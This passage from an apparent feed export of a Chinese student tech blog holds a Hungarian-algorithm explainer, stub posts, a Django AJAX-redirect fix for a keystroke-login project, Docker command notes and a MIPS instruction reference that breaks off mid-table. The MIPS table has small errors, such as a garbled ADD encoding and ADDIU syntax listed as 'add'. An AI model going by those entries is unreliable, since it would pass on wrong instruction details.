src="https://img-blog.csdnimg.cn/20190531164527439.png"></p><p>在上图中,有五条边,按照匹配的概念,2, 4两条加粗的边是一个匹配,目光锐利的你或许同时发现了,1, 3, 5是不是也是一个匹配呢?</p><p>毫无疑问,是的。</p><p>套用我们说的M-交错路径的概念,如果我们从2, 4 所构成的匹配M出发,会发现 1, 2, 3, 4, 5 这条路径是M的一条交错路径,同时它还满足两个端点都不与M中的边所关联。</p><p>是不是发现个奇怪的地方呢?我们完全可以从1, 2, 3, 4, 5 这条路径中找到一个更大的匹配,而这个匹配比原先的匹配M多一条边,是一个比原先M更大的匹配!</p><p>所以,我们寻找最大匹配的任务就相当于我们不断地在已经确定的匹配下,不断找到新的增广路径,因为出现一条增广路径,就意味着目前的匹配中增加一条边嘛!</p><p>看起来复杂的问题,变成了寻找增广路径这么个解决问题的想法了。</p><p>当图中再没有增广路径了,就意味着我们找到了该图的最大匹配了。</p><p>说明下:我们这里所讨论的匹配,是图论中的任务分配问题,通常是针对于二部图发起的,想想也是,匹配不就是配对么,自然是两两成对了。</p><p>好,基础概念介绍完了,我们接下来给个例子,探讨我们的匈牙利算法,它就是通过不断寻找增广路径的办法,打开了通向最大匹配的道路。</p><h2 id="匈牙利算法"><a href="#匈牙利算法" class="headerlink" title="匈牙利算法"></a>匈牙利算法</h2><p>下面我们讨论下匈牙利算法的内容:</p><h3 id="给定一个图"><a href="#给定一个图" class="headerlink" title="给定一个图"></a>给定一个图</h3><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvODkyNzU4LzIwMTYwNi84OTI3NTgtMjAxNjA2MTAxNTUzNTExMjEtNDc5Mzk4NDIucG5n?x-oss-process=image/format,png"></p><p>前面已经说了,我们讨论的基础是二部图,而上图就是一个二部图,我们从上图的左边开始讨论,我们的目标是尽可能给x中最多的点找到配对。</p><p>注意,最大匹配是互相的,如果我们给X找到了最多的Y中的对应点,同样,Y中也不可能有更多的点得到匹配了。</p><p>刚开始,一个匹配都没有,我们随意选取一条边,(x1, y1)这条边,构建最初的匹配出来,结果如下,已经配对的边用粗线标出:</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvODkyNzU4LzIwMTYwNi84OTI3NTgtMjAxNjA2MTAxNTU0MDU2NTItMTAyMjkzNDc0MS5wbmc?x-oss-process=image/format,png"></p><h3 id="添加初始匹配"><a href="#添加初始匹配" class="headerlink" title="添加初始匹配"></a>添加初始匹配</h3><p>我们给x2添加一个匹配,如下图的(x2, y2)边。</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvODkyNzU4LzIwMTYwNi84OTI3NTgtMjAxNjA2MTAxNTU0MTE3MTUtOTU1MzQyNTg0LnBuZw?x-oss-process=image/format,png"></p><p>目前来看,一切都很顺利,到这里,我们形成了匹配M,其有(x1, y1), (x2, y2 ) 两条边。</p><h3 id="递归妥协匹配过程"><a href="#递归妥协匹配过程" class="headerlink" title="递归妥协匹配过程"></a>递归妥协匹配过程</h3><p>我们现在想给x3匹配一条边,发现它的另一端y1已经被x1占用了,那x3就不高兴了,它就去找y1游说,让y1离开x1。</p><p>即将被迫分手的x1很委屈,好在它还有其他的选择,于是 x1 妥协了,准备去找自己看中的y2。</p><p>但很快,x1发现 y2 被x2 看中了,它就想啊,y1 抛弃了我,那我就让 y2 主动离开 x2 (很明显,这是个递归的过程)。</p><p>x2 该怎么办呢?好在天无绝人之路,它去找了y5。</p><p>谢天谢地,y5 还没有名花有主,终于皆大欢喜。</p><p>匹配如下:</p><p><img src="https://img-blog.csdnimg.cn/2019053117173052.png"></p><p>上面这个争论与妥协的过程中,我们把牵涉到的节点都拿出来:(x3, y1, x1, y2, x2, y5),很明显,这是一条路径P。</p><p>而在第二步中,我们已经形成了匹配M,而P呢?还记得增广路径么,我们发现,P原来是M的一条增广路径!</p><p>上文已经说过,发现一条增广路径,就意味着一个更大匹配的出现,于是,我们将M中的配对点拆分开,重新组合,得到了一个更大匹配,M1, 其拥有(x3, y1),(x1, y2), (x2, y5)三条边。</p><p>而这,就是匈牙利算法的精髓。</p><p>同样,x4 , x5 按顺序加入进来,最终会得到本图的最大匹配。</p><p><img src="https://img-blog.csdnimg.cn/20190531172740669.png"></p><p>得到这个结果后,我们发现,其实也可以把y4 让给 x6 , 这样x5 就会空置,但并不影响最大匹配的大小。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>1. 匈牙利算法寻找最大匹配,就是通过不断寻找原有匹配M的增广路径,因为找到一条M匹配的增广路径,就意味着一个更大的匹配M’ , 其恰好比M 多一条边。</p><ol start="2"><li>对于图来说,最大匹配不是唯一的,但是最大匹配的大小是唯一的。</li></ol><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>————————————————<br>版权声明:本文为CSDN博主「土豆钊」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。<br>原文链接:<a href="https://blog.csdn.net/u013384984/article/details/90718287">https://blog.csdn.net/u013384984/article/details/90718287</a></p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2020/01/05/hungary-algorithm/' title='匈牙利算法' >匈牙利算法</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2020/01/05/hungary-algorithm/' title='匈牙利算法' >http://blog.rookiehacker.org/2020/01/05/hungary-algorithm/</a><br>有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明原文作者「土豆钊」和<a href="https://blog.csdn.net/u013384984/article/details/90718287">原文地址</a>,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
明天就考算法了,学一下匈牙利算法,补补课~
</summary>
<category term="算法" scheme="http://blog.rookiehacker.org/categories/%E7%AE%97%E6%B3%95/"/>
<category term="算法" scheme="http://blog.rookiehacker.org/tags/%E7%AE%97%E6%B3%95/"/>
</entry>
<entry>
<title>单纯形法</title>
<link href="http://blog.rookiehacker.org/2020/01/05/simplex-algorithm/"/>
<id>http://blog.rookiehacker.org/2020/01/05/simplex-algorithm/</id>
<published>2020-01-05T08:07:02.000Z</published>
<updated>2020-11-26T14:36:23.360Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>结果证明,重点复习的知识点都没怎么考,考的都是自己没怎么复习的,崩了。。想哭o(╥﹏╥)o<br>明天就考算法了,学一下单纯形法,补补课~<br><a href="https://www.bilibili.com/video/av61811262?from=search&seid=8854802379104989107">B站啥都有</a></p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2020/01/05/simplex-algorithm/' title='单纯形法' >单纯形法</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2020/01/05/simplex-algorithm/' title='单纯形法' >http://blog.rookiehacker.org/2020/01/05/simplex-algorithm/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
明天就考算法了,学一下单纯形法,补补课~
</summary>
<category term="算法" scheme="http://blog.rookiehacker.org/categories/%E7%AE%97%E6%B3%95/"/>
<category term="算法" scheme="http://blog.rookiehacker.org/tags/%E7%AE%97%E6%B3%95/"/>
</entry>
<entry>
<title>2019年终总结</title>
<link href="http://blog.rookiehacker.org/2019/12/30/2019-year-end-summary/"/>
<id>http://blog.rookiehacker.org/2019/12/30/2019-year-end-summary/</id>
<published>2019-12-30T09:39:45.000Z</published>
<updated>2020-11-26T14:36:42.224Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="先占个坑哈哈哈考完试再填"><a href="#先占个坑哈哈哈考完试再填" class="headerlink" title="先占个坑哈哈哈考完试再填"></a>先占个坑哈哈哈<del>考完试再填</del></h1><h2 id="告别2019"><a href="#告别2019" class="headerlink" title="告别2019"></a>告别2019</h2><p>巴拉巴拉</p><h3 id="得"><a href="#得" class="headerlink" title="得"></a>得</h3><p>巴拉巴拉</p><h3 id="失"><a href="#失" class="headerlink" title="失"></a>失</h3><p>巴拉巴拉</p><h3 id="关于2019的思考"><a href="#关于2019的思考" class="headerlink" title="关于2019的思考"></a>关于2019的思考</h3><p>巴拉巴拉</p><h2 id="迎接2020"><a href="#迎接2020" class="headerlink" title="迎接2020~"></a>迎接2020~</h2><p>巴拉巴拉</p><h3 id="新年规划"><a href="#新年规划" class="headerlink" title="新年规划"></a>新年规划</h3><p>巴拉巴拉</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/12/30/2019-year-end-summary/' title='2019年终总结' >2019年终总结</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/12/30/2019-year-end-summary/' title='2019年终总结' >http://blog.rookiehacker.org/2019/12/30/2019-year-end-summary/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
又到年终岁末,总结一下2019,迎接2020~
</summary>
<category term="生活" scheme="http://blog.rookiehacker.org/categories/%E7%94%9F%E6%B4%BB/"/>
<category term="生活" scheme="http://blog.rookiehacker.org/tags/%E7%94%9F%E6%B4%BB/"/>
</entry>
<entry>
<title>Django使用ajax后调用render前端无法跳转</title>
<link href="http://blog.rookiehacker.org/2019/11/08/renderandajax/"/>
<id>http://blog.rookiehacker.org/2019/11/08/renderandajax/</id>
<published>2019-11-08T11:47:52.000Z</published>
<updated>2019-11-12T05:43:36.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>本学期信息安全工程的实验项目。要求做一个基于击键认证(KeyStroke)的项目,可以根据登录用户的信息输入的特征来进行辅助认证。我们这里直接选用了Django来搭建了web登录平台。<code>击键指纹算法</code>的主要步骤如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">通过键盘敲击时不同的按下及释放时间可以产生如下三种特征值:</span><br><span class="line">1.Hold:同一个按键按下到释放之间的时间间隔</span><br><span class="line">2.Down-Down:第一个按键按下到第二个按键按下之间的时间间隔</span><br><span class="line">3.Up-Down:第一个按键释放到第二个按键按下之间的时间间隔</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="http://149.28.144.209:8888/images/2019/11/12/9a184f722a5d79674358e268e1ede6b2.png" alt="图一"></p><p>三元组(Hold, Down-Down, Up-Dwon)在三维坐标中标记一个点的位置。注册时记录用户按键的信息,即一连串三元组组成的点集(在数据库中直接存储按键的时间戳信息),并且设置阈值信息。登录验证时获取登录时的按键信息,重新组织成三元组信息还原成对应点集,之后分别计算相应点的直线距离,如下图所示。若在密码文本信息输入正确的前提下,每个相应点对之间的距离均小于阈值则验证成功。</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/782c4adf0318ec0f68899b424bfd03e9.png" alt="图二"></p><p>前端部分通过js记录用户输入信息时按键的<code>按下</code>和<code>抬起</code>两个瞬间的时间戳信息,传入后端,后端验证判断即可。</p><p>在验证的时候出现了一个问题,前端通过ajax发送的信息,后端使用render做出响应,如果通过验证,提示登录成功并跳转到index页面,但是前端一直没有反应,也没有发生跳转。一开始我以为是代码写的有问题,但是无论怎么改,还是没反应,也无法实现重定向redirect。后来发现原来是使用了ajax的原因。</p><h2 id="关于ajax和Django的render"><a href="#关于ajax和Django的render" class="headerlink" title="关于ajax和Django的render"></a>关于ajax和Django的render</h2><p><a href="https://baike.baidu.com/item/AJAX/8425">Ajax</a>这个术语源自描述从基于 Web 的应用到基于数据的应用。Ajax 不是一种新的编程语言,而是一种用于创建更好更快以及交互性更强的Web应用程序的技术。使用 JavaScript 向服务器提出请求并处理响应而不阻塞用户核心对象XMLHttpRequest。通过这个对象,您的 JavaScript 可在不重载页面的情况与 Web 服务器交换数据,即在不需要刷新页面的情况下,就可以产生局部刷新的效果。Ajax 在浏览器与 Web 服务器之间使用异步数据传输(HTTP 请求),这样就可使网页从服务器请求少量的信息,而不是整个页面。</p><p>Ajax 是一种独立于 Web 服务器软件的浏览器技术。ajax只是做局部提交,重定向并不是其中的动作,所以无法实现重定向。Ajax只是利用脚本访问对应url获取数据而已,不能做除了获取返回数据以外的其它动作了,所以浏览器端是不会发起重定向的。正常的http请求,只有浏览器和服务器两个参与者。浏览器端发起一个http请求,服务器端处理后发起一个重定向,浏览器端从response中获取到重定向地址,发起另一个http请求。也就是说,浏览器会按照response中的内容进行响应(如重定向),这是浏览器的功能决定的就得响应。</p><p>Ajax请求,参与者就有三个即ajax、客户端、服务器,ajax处于客户端和服务器两者之间。引入ajax后,服务器给浏览器的response被ajax拦截了,但是ajax本身却什么都不做,也不转达。所以前端就一直拿不到后端发送的render/redirect等信息,所以没有反应。那这样该怎么办呢?</p><h2 id="如何解决?"><a href="#如何解决?" class="headerlink" title="如何解决?"></a>如何解决?</h2><p>既然ajax只能获取后端传来的数据而不能执行其他动作,这就意味着通过ajax,前端只能看到后端传来的数据而看不到要执行的动作,那这不就好办了~直接把要执行的动作通过数据信息传送到前端好了,前端通过判断数据信息进而决定要执行什么动作。但是这样也会有一定的安全风险。如果后端发送的数据包被恶意篡改,比如告诉前端去加载输入密码的页面,并且发送到指定的地址,那就有可能会导致敏感信息泄露问题。但是这种方法一般可以通过csrf屏蔽掉。总之,我们是现实了前端能够响应后端的跳转请求了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"># 后台代码</span><br><span class="line"></span><br><span class="line">###########################################################################</span><br><span class="line"></span><br><span class="line">if check():</span><br><span class="line">message = "注册成功!" # 直接写成中文了,别提多鸡肋了。。。</span><br><span class="line">return JsonResponse({'msg': message, 'username': username})</span><br><span class="line"></span><br><span class="line">###########################################################################</span><br><span class="line"></span><br><span class="line"># 前台代码</span><br><span class="line"></span><br><span class="line">###########################################################################</span><br><span class="line"></span><br><span class="line">success:function(data,status){</span><br><span class="line">alert(data.msg);</span><br><span class="line">if (data.msg == '注册成功!'){</span><br><span class="line">window.location = '/login/'; // 注册成功后直接跳转到登录页面</span><br><span class="line">}else{</span><br><span class="line">window.location = '/register/'; // 否则留在登录页面</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">###########################################################################</span><br></pre></td></tr></table></figure><p>最后欣赏一下我们做得稀巴烂的登录注册页面吧~</p><p><img src="http://149.28.144.209:8888/images/2019/11/12/75eb419186d411ca9239d4169e00836a.png" alt="注册"></p><p><img src="http://149.28.144.209:8888/images/2019/11/12/969619c5c4dadd909a38830cb67ffa12.png" alt="登录"></p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://blog.csdn.net/allensakaru/article/details/93672283">Django中使用ajax无法重定向</a></p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/11/08/renderandajax/' title='Django使用ajax后调用render前端无法跳转' >Django使用ajax后调用render前端无法跳转</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/11/08/renderandajax/' title='Django使用ajax后调用render前端无法跳转' >http://blog.rookiehacker.org/2019/11/08/renderandajax/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
当我在一个基于Django框架的项目前端部分使用了ajax,后端通过render返回给前端,但是前端并没有按照预期跳转,这是什么原因呢?
</summary>
<category term="Python" scheme="http://blog.rookiehacker.org/categories/Python/"/>
<category term="Django" scheme="http://blog.rookiehacker.org/tags/Django/"/>
<category term="Windows" scheme="http://blog.rookiehacker.org/tags/Windows/"/>
<category term="漏洞" scheme="http://blog.rookiehacker.org/tags/%E6%BC%8F%E6%B4%9E/"/>
<category term="前端" scheme="http://blog.rookiehacker.org/tags/%E5%89%8D%E7%AB%AF/"/>
</entry>
<entry>
<title>Docker 学习笔记</title>
<link href="http://blog.rookiehacker.org/2019/08/08/docker-study/"/>
<id>http://blog.rookiehacker.org/2019/08/08/docker-study/</id>
<published>2019-08-08T12:59:34.000Z</published>
<updated>2020-11-26T14:36:50.115Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>1 来到dockerfile 所在文件目录<br>2 执行docker build -t imagename(如 honeypot/redis) . 创建镜像<br>3 使用docker images 可以列出所有docker 镜像<br>4 使用镜像创建容器 docker run imagename tag 如 docker run honeypot/redis Redis<br>5 docker ps 列出所有运行的容器<br>6 docker stop container_id 关闭指定容器<br>7 docker rm container_id 删除指定容器<br>8 docker rmi imagename 删除指定镜像<br>9 docker save image_name -o tar_file_path 将指定镜像保存为指定文件,如docker save honeypot/szse -o ~/Desktop/szse.tar<br>10 docker load -i 加载指定的镜像文件(不仅创建镜像,也会创建响应的容器)如,docker load -i cqdw.tar<br>11 docker exec -it container_id bash 进入指定容器的bash环境</p><p> Docker-compose:</p><p>1 docker-compose.yml docker-compose的配置文件<br>2 docker-compose up -d 启动<br>3 docker-compose down 停止</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/08/08/docker-study/' title='Docker 学习笔记' >Docker 学习笔记</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/08/08/docker-study/' title='Docker 学习笔记' >http://blog.rookiehacker.org/2019/08/08/docker-study/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>]]></content>
<summary type="html">
记一下学docker的笔记, 记得比较粗糙。
</summary>
<category term="代码程序" scheme="http://blog.rookiehacker.org/categories/%E4%BB%A3%E7%A0%81%E7%A8%8B%E5%BA%8F/"/>
<category term="Docker" scheme="http://blog.rookiehacker.org/tags/Docker/"/>
</entry>
<entry>
<title>MIPS Instruction Reference</title>
<link href="http://blog.rookiehacker.org/2019/08/06/mips-instruction-reference/"/>
<id>http://blog.rookiehacker.org/2019/08/06/mips-instruction-reference/</id>
<published>2019-08-06T11:25:42.000Z</published>
<updated>2019-12-18T11:59:56.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="MIPS-Instruction-Reference"><a href="#MIPS-Instruction-Reference" class="headerlink" title="MIPS Instruction Reference"></a>MIPS Instruction Reference</h1><h3 id="MIPS-basic-content"><a href="#MIPS-basic-content" class="headerlink" title="MIPS basic content."></a>MIPS basic content.</h3><p>This is based on MIPS32 as an introduction.上次帮<a href="https://ctf-wiki.github.io/ctf-wiki/assembly/mips/readme-zh/">CTF-WIKI</a>重新整理了一下,这里也自己记录一下。</p><h3 id="0x01-Register"><a href="#0x01-Register" class="headerlink" title="0x01 Register"></a>0x01 Register</h3><h4 id="1-General-purpose-registers"><a href="#1-General-purpose-registers" class="headerlink" title="(1) General purpose registers"></a>(1) General purpose registers</h4><p>MIPS has 32 general purpose registers, represented by the dollar sign ($). Can be expressed as $0~$31, and can also be represented by register names such as $sp, $t9, $fp, and so on.</p><table><thead><tr><th>Register Number</th><th>Conventional Name</th><th>Usage</th><th>Usage</th></tr></thead><tbody><tr><td>$0</td><td>$zero</td><td>Hard-wired to 0</td><td></td></tr><tr><td>$1</td><td>$at</td><td>Reserved for pseudo-instructions</td><td></td></tr><tr><td>$2 - $3</td><td>$v0, $v1</td><td>Return values from functions</td><td>Save expression or function return value</td></tr><tr><td>$4 - $7</td><td>$a0 - $a3</td><td>Arguments to functions - not preserved by subprograms</td><td></td></tr><tr><td>$8 - $15</td><td>$t0 - $t7</td><td>Temporary data, not preserved by subprograms</td><td></td></tr><tr><td>$16 - $23</td><td>$s0 - $s7</td><td>Saved registers, preserved by subprograms</td><td></td></tr><tr><td>$24 - $25</td><td>$t8 - $t9</td><td>More temporary registers, not preserved by subprograms</td><td>Temporary registers, as a complement to $t0 - $t7, $t9 is usually related to calling functions</td></tr><tr><td>$26 - $27</td><td>$k0 - $k1</td><td>Reserved for kernel. Do not use.</td><td></td></tr><tr><td>$28</td><td>$gp</td><td>Global Area Pointer (base of global data segment)</td><td></td></tr></tbody></table><p>MIPS as a load-store architecture means that when we want to access memory we must access it through load and store instructions. All other instructions (add, sub, mul, div, and so on) must fetch their operands from the register and store their results in registers. For example, the following example:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sum = x + y</span><br></pre></td></tr></table></figure><p>We assume that sum and x , y are variables in the program, and their MIPS assembly is expressed as:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># sum = x + y</span><br><span class="line"></span><br><span class="line">lw $t0, x # Load x from memory into a CPU register</span><br><span class="line">lw $t1, y # Load y from memory into a CPU register</span><br><span class="line">add $t0, $t0, $t1 # Add x and y</span><br><span class="line">sw $t0, sum # Store the result from the CPU register to memory</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="2-Special-registers"><a href="#2-Special-registers" class="headerlink" title="( 2 ) Special registers"></a>( 2 ) Special registers</h4><p>The MIPS32 architecture also defines three special registers, PC (program counter), HI (multiply and divide result high register), and LO (multiply and divide result low register). When multiplying, HI and LO hold the result of the multiplication, where HI holds the upper 32 bits and LO holds the lower 32 bits. In the division operation, HI saves the remainder and the LO saves the quotient.</p><h3 id="0x2-Instruction-Instruction"><a href="#0x2-Instruction-Instruction" class="headerlink" title="0x2 Instruction Instruction"></a>0x2 Instruction Instruction</h3><p><strong>ADD – Add (with overflow)</strong></p><table><thead><tr><th>Description:</th><th>Adds two registers and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $s + $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>add $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssh tttt dddd d000 0010 0000</code></td></tr></tbody></table><p><strong>ADDI – Add immediate (with overflow)</strong></p><table><thead><tr><th>Description:</th><th>Adds a register and a sign-extended immediate value and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = $s + imm; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>addi $t, $s, imm</td></tr><tr><td>Encoding:</td><td><code>0010 00ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>ADDIU – Add immediate unsigned (no overflow)</strong></p><table><thead><tr><th>Description:</th><th>Adds a register and a sign-extended immediate value and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = $s + imm; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>add $ t, $ s, imm</td></tr><tr><td>Encoding:</td><td><code>0010 01ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>ADDU – Add unsigned (no overflow)</strong></p><table><thead><tr><th>Description:</th><th>Adds two registers and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $s + $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>addu $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0010 0001</code></td></tr></tbody></table><p><strong>AND – Bitwise and</strong></p><table><thead><tr><th>Description:</th><th>Bitwise ands two registers and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $s & $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>and $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0010 0100</code></td></tr></tbody></table><p><strong>ANDI – Bitwise and immediate</strong></p><table><thead><tr><th>Description:</th><th>Bitwise ands a register and an immediate value and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = $s & imm; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>andi $t, $s, imm</td></tr><tr><td>Encoding:</td><td><code>0011 00ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BEQ – Branch on equal</strong></p><table><thead><tr><th>Description:</th><th>Branches if the two registers are equal</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s == $t advance_pc (offset << 2)); else advance_pc (4);</td></tr><tr><td>Syntax:</td><td>beq $s, $t, offset</td></tr><tr><td>Encoding:</td><td><code>0001 00ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BGEZ – Branch on greater than or equal to zero</strong></p><table><thead><tr><th>Description:</th><th>Branches if the register is greater than or equal to zero</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s >= 0 advance_pc (offset << 2)); else advance_pc (4);</td></tr><tr><td>Syntax:</td><td>bgez $s, offset</td></tr><tr><td>Encoding:</td><td><code>0000 01ss sss0 0001 iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BGEZAL – Branch on greater than or equal to zero and link</strong></p><table><thead><tr><th>Description:</th><th>Branches if the register is greater than or equal to zero and saves the return address in $31</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s >= 0 $31 = PC + 8 (or nPC + 4); advance_pc (offset << 2)); else advance_pc (4);</td></tr><tr><td>Syntax:</td><td>bgezal $s, offset</td></tr><tr><td>Encoding:</td><td><code>0000 01ss sss1 0001 iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BGTZ – Branch on greater than zero</strong></p><table><thead><tr><th>Description:</th><th>Branches if the register is greater than zero</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s > 0 advance_pc (offset << 2)); else advance_pc (4);</td></tr><tr><td>Syntax:</td><td>bgtz $s, offset</td></tr><tr><td>Encoding:</td><td><code>0001 11ss sss0 0000 iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BLEZ – Branch on less than or equal to zero</strong></p><table><thead><tr><th>Description:</th><th>Branches if the register is less than or equal to zero</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s <= 0 advance_pc (offset << 2)); else advance_pc (4);</td></tr><tr><td>Syntax:</td><td>blez $s, offset</td></tr><tr><td>Encoding:</td><td><code>0001 10ss sss0 0000 iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BLTZ – Branch on less than zero</strong></p><table><thead><tr><th>Description:</th><th>Branches if the register is less than zero</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s < 0 advance_pc (offset << 2)); else advance_pc (4);</td></tr><tr><td>Syntax:</td><td>bltz $s, offset</td></tr><tr><td>Encoding:</td><td><code>0000 01ss sss0 0000 iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BLTZAL – Branch on less than zero and link</strong></p><table><thead><tr><th>Description:</th><th>Branches if the register is less than zero and saves the return address in $31</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s < 0 $31 = PC + 8 (or nPC + 4); advance_pc (offset << 2)); else advance_pc 